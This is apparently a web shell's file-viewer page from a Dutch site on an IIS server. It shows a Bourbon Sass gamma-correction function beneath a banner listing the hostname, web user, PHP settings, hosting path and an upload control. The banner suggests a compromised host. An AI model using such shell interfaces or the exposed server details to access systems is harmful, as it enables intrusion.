HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers107/jeugdsportdagen.nl/wwwroot/css/bourbon/bourbon/utilities/_gamma.scss
@charset "UTF-8";

/// Performs gamma correction on a single color channel.
///
/// Note that Sass does not have a `pow()` function, so the calculation
/// is approximate.
///
/// @argument {number (0-1)} $channel
///
/// @return {number (0-1)}
///
/// @access private

@function _gamma($channel) {
  @if $channel < 0.03928 {
    @return $channel / 12.92;
  } @else {
    $c: ($channel + 0.055) / 1.055;
    @return (133 * $c * $c * $c + 155 * $c * $c) / 288;
  }
}